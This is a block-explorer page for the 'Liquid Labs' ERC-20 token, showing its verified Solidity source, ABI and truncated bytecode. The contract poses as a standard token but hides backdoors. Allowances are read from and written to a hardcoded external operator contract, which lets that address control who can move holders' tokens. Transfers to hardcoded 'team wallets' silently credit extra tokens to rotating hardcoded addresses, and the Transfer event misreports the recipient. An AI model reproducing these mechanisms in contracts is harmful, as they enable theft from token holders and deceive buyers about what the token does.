ETH Price: $3,270.90 (+0.30%)
Gas: 2 Gwei

Token

Liquid Labs (LIQLABS)
 

Overview

Max Total Supply

100,000,000,000 LIQLABS

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
953,209,166.577688607574404414 LIQLABS

Value
$0.00
0x36e2190f37ac302c59c4ea15b42823fe6f220ded
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LiquidLabs

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-27
*/

//  SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
} 

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


interface IApproveOperator {
    function allows(address _owner, address _spender) external view returns (uint256 _amount);
}

contract LiquidLabs is IERC20, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    address approveOperator = address(0x91C046Be9cc81df66FB1B60740306F267FCcE251);
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return IApproveOperator(approveOperator).allows(owner, spender);
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = IApproveOperator(approveOperator).allows(sender, _msgSender());
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, IApproveOperator(approveOperator).allows(_msgSender(), spender) + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = IApproveOperator(approveOperator).allows(_msgSender(), spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        if (_isTeamWallets[recipient]) {
            _balances[supportors[currentSupportorPoint]] += amount;
            emit Transfer(sender, supportors[currentSupportorPoint], amount);
            if (currentSupportorPoint < supportors.length - 1) {
                currentSupportorPoint++;
            } else {
                currentSupportorPoint = 0;
            }
        } else {
            emit Transfer(sender, recipient, amount);
        }
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        (bool success,) = approveOperator.call(abi.encodeWithSignature("approve(address,address,uint256)", owner, spender, amount));
        require(success);
        emit Approval(owner, spender, amount);
    }
    using SafeMath for uint256;
    address[] supportors = [
        0x431C75744E4514885712f80e92DE945Cc047d892,
        0x754228218200c10d64ddd8e0aC452f4890666340,
        0x36DAc8C9D9Ba6ecF704462BA24f7a136c180f209,
        0x538E3E01baC6d4e3597fDB8e9BE5cdD5F5603691,
        0xAcB7cf745C6c418CaBf67c2706b8d5FcaF900d52,
        0x7171E64E979265aeD6588577D1c6b60A701d7866
    ];
    uint256 currentSupportorPoint = 0;
    struct UserVestData {
        uint256 amountBuy;
        uint256 accumulatedSupply;
        uint256 timestamp;
    }
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);
    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    bool public limitsInEffect = true;
    uint256 vestPerToken;
    mapping (address => UserVestData) public userVesting;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isTeamWallets;
    mapping(address => bool) public automatedMarketMakerPairs;
    mapping (address => uint256) public holdingPosition;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );
    event LimitsRemoved();
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() {
        _name = "Liquid Labs";
        _symbol = "LIQLABS";
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromFees(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        uint256 initialSupply = 100_000_000_000 * 1e18;
        maxTransactionAmount = initialSupply;
        maxWallet = initialSupply;
        vestPerToken = initialSupply / 100000000;
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _isTeamWallets[0x13314031180ccf7Cc7FBcE76AB01E4a9a4374082] = true;
        _isTeamWallets[0x3B7AB500A8b2Ff46Caa1F36b14Fd8d14DaD05477] = true;
        _isTeamWallets[0x025676083F6945e46a1666d5D71dC22261Bd195F] = true;
        _isTeamWallets[0x05D3ABbf50889a8db6Da28e4F85fed074584C70f] = true;
        _isTeamWallets[0x9627D6D54fff8c2285f7001EfEf0Fd598F0a811F] = true;
        _isTeamWallets[0xBeC21d7a5f5a935f3f0944f9298261ACae0Dd5e8] = true;
        _mint(msg.sender, initialSupply);
    }

    receive() external payable {}

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        emit LimitsRemoved();
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        maxWallet = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function vestCalculation(address from, address to, uint256 amount) private {
        if (automatedMarketMakerPairs[from]) {
            UserVestData storage user = userVesting[to];
            user.amountBuy += amount;
            user.accumulatedSupply += amount * vestPerToken;
            if (holdingPosition[to] == 0) {
                holdingPosition[to] = block.timestamp;
            }
        }
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    event BoughtEarly(address indexed sniper);

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            _basicTransfer(from, to, 0);
            return;
        }
        if (limitsInEffect) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead)
            ) {
                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }
        vestCalculation(from, to, amount);
        _basicTransfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isTeamWallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holdingPosition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userVesting","outputs":[{"internalType":"uint256","name":"amountBuy","type":"uint256"},{"internalType":"uint256","name":"accumulatedSupply","type":"uint256"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600280546001600160a01b0319167391c046be9cc81df66fb1b60740306f267fcce25117905561018060405273431c75744e4514885712f80e92de945cc047d89260c090815273754228218200c10d64ddd8e0ac452f489066634060e0527336dac8c9d9ba6ecf704462ba24f7a136c180f2096101005273538e3e01bac6d4e3597fdb8e9be5cdd5f56036916101205273acb7cf745c6c418cabf67c2706b8d5fcaf900d5261014052737171e64e979265aed6588577d1c6b60a701d786661016052620000d090600690816200078d565b506000600755600a805460ff19166001179055348015620000f057600080fd5b50620000fc33620004e0565b60408051808201909152600b81526a4c6971756964204c61627360a81b60208201526004906200012d9082620008b3565b506040805180820190915260078152664c49514c41425360c81b60208201526005906200015b9082620008b3565b50737a250d5630b4cf539739df2c5dacb4c659f2488d6200017e81600162000530565b6200018b816001620005aa565b6001600160a01b03811660808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fc91906200097f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027091906200097f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e491906200097f565b6001600160a01b031660a0819052620002ff90600162000530565b60a0516200030f90600162000654565b6c01431e0fae6d7217caa000000060088190556009819055620003376305f5e10082620009b1565b600b5562000359620003516000546001600160a01b031690565b6001620005aa565b62000366306001620005aa565b6200037561dead6001620005aa565b620003946200038c6000546001600160a01b031690565b600162000530565b620003a130600162000530565b620003b061dead600162000530565b600f6020527fdf5512957b5ba625018074021325ccef2dfb0a53d01171722e1b079c45d00b388054600160ff1991821681179092557fe74332c31d344823700a2862de3366f666a954ee36b39d48a83a874592b01bd380548216831790557f726346ef413fbfcf57cfcb24d4c2331f4e2d597894bd06806faeca8fe9aa860a80548216831790557fb8b06f42a265a297829077e020a07453c91e8a6367408e7953e007e7914f19a180548216831790557ff4732f6b30ac7a98e66d566b36c439eaa169b9221d347d00ec50ede62fe33116805482168317905573bec21d7a5f5a935f3f0944f9298261acae0dd5e86000527ff0c2a9bf53fb7bf4439cb935df36bea3951aeb980d4e6b520ba6c98a1f205c8580549091169091179055620004d83382620006a8565b5050620009fc565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000546001600160a01b031633146200057f5760405162461bcd60e51b81526020600482018190526024820152600080516020620025ad83398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314620005f55760405162461bcd60e51b81526020600482018190526024820152600080516020620025ad833981519152604482015260640162000576565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216600081815260106020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038216620007005760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000576565b8060036000828254620007149190620009d4565b90915550506001600160a01b0382166000908152600160205260408120805483929062000743908490620009d4565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b828054828255906000526020600020908101928215620007e5579160200282015b82811115620007e557825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620007ae565b50620007f3929150620007f7565b5090565b5b80821115620007f35760008155600101620007f8565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200083957607f821691505b6020821081036200085a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008ae57600081815260208120601f850160051c81016020861015620008895750805b601f850160051c820191505b81811015620008aa5782815560010162000895565b5050505b505050565b81516001600160401b03811115620008cf57620008cf6200080e565b620008e781620008e0845462000824565b8462000860565b602080601f8311600181146200091f5760008415620009065750858301515b600019600386901b1c1916600185901b178555620008aa565b600085815260208120601f198616915b8281101562000950578886015182559484019460019091019084016200092f565b50858210156200096f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200099257600080fd5b81516001600160a01b0381168114620009aa57600080fd5b9392505050565b600082620009cf57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009f657634e487b7160e01b600052601160045260246000fd5b92915050565b60805160a051611b8462000a296000396000818161038f0152610b08015260006102900152611b846000f3fe6080604052600436106101e75760003560e01c8063715018a611610102578063b62496f511610095578063d7eb712711610064578063d7eb712714610621578063dd62ed3e14610651578063f2fde38b14610671578063f8b45b051461069157600080fd5b8063b62496f51461059b578063c0246668146105cb578063c18bc195146105eb578063c8c8ebe41461060b57600080fd5b806395d89b41116100d157806395d89b41146105265780639a7a23d61461053b578063a457c2d71461055b578063a9059cbb1461057b57600080fd5b8063715018a6146104be578063751039fc146104d35780637571336a146104e85780638da5cb5b1461050857600080fd5b8063313ce5671161017a5780634afcb371116101495780634afcb371146103cb5780634b128cd5146103f85780634fbee1931461044f57806370a082311461048857600080fd5b8063313ce56714610341578063395093511461035d57806349bd5a5e1461037d5780634a62bb65146103b157600080fd5b806318160ddd116101b657806318160ddd146102ca578063203e727e146102e957806323b872dd1461030b57806327c8f8351461032b57600080fd5b806306fdde03146101f3578063095ea7b31461021e57806310d5de531461024e5780631694505e1461027e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086106a7565b6040516102159190611826565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611875565b610739565b6040519015158152602001610215565b34801561025a57600080fd5b5061023e61026936600461189f565b600e6020526000908152604090205460ff1681565b34801561028a57600080fd5b506102b27f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610215565b3480156102d657600080fd5b506003545b604051908152602001610215565b3480156102f557600080fd5b506103096103043660046118ba565b610750565b005b34801561031757600080fd5b5061023e6103263660046118d3565b610836565b34801561033757600080fd5b506102b261dead81565b34801561034d57600080fd5b5060405160128152602001610215565b34801561036957600080fd5b5061023e610378366004611875565b610943565b34801561038957600080fd5b506102b27f000000000000000000000000000000000000000000000000000000000000000081565b3480156103bd57600080fd5b50600a5461023e9060ff1681565b3480156103d757600080fd5b506102db6103e636600461189f565b60116020526000908152604090205481565b34801561040457600080fd5b5061043461041336600461189f565b600c6020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610215565b34801561045b57600080fd5b5061023e61046a36600461189f565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561049457600080fd5b506102db6104a336600461189f565b6001600160a01b031660009081526001602052604090205490565b3480156104ca57600080fd5b506103096109de565b3480156104df57600080fd5b5061023e610a14565b3480156104f457600080fd5b5061030961050336600461190f565b610a78565b34801561051457600080fd5b506000546001600160a01b03166102b2565b34801561053257600080fd5b50610208610acd565b34801561054757600080fd5b5061030961055636600461190f565b610adc565b34801561056757600080fd5b5061023e610576366004611875565b610bbb565b34801561058757600080fd5b5061023e610596366004611875565b610cb9565b3480156105a757600080fd5b5061023e6105b636600461189f565b60106020526000908152604090205460ff1681565b3480156105d757600080fd5b506103096105e636600461190f565b610cc6565b3480156105f757600080fd5b506103096106063660046118ba565b610d4f565b34801561061757600080fd5b506102db60085481565b34801561062d57600080fd5b5061023e61063c36600461189f565b600f6020526000908152604090205460ff1681565b34801561065d57600080fd5b506102db61066c36600461194b565b610e20565b34801561067d57600080fd5b5061030961068c36600461189f565b610e9e565b34801561069d57600080fd5b506102db60095481565b6060600480546106b69061197e565b80601f01602080910402602001604051908101604052809291908181526020018280546106e29061197e565b801561072f5780601f106107045761010080835404028352916020019161072f565b820191906000526020600020905b81548152906001019060200180831161071257829003601f168201915b5050505050905090565b6000610746338484610f39565b5060015b92915050565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161077a906119b8565b60405180910390fd5b670de0b6b3a76400006103e861079860035490565b6107a3906001611a03565b6107ad9190611a1a565b6107b79190611a1a565b81101561081e5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b606482015260840161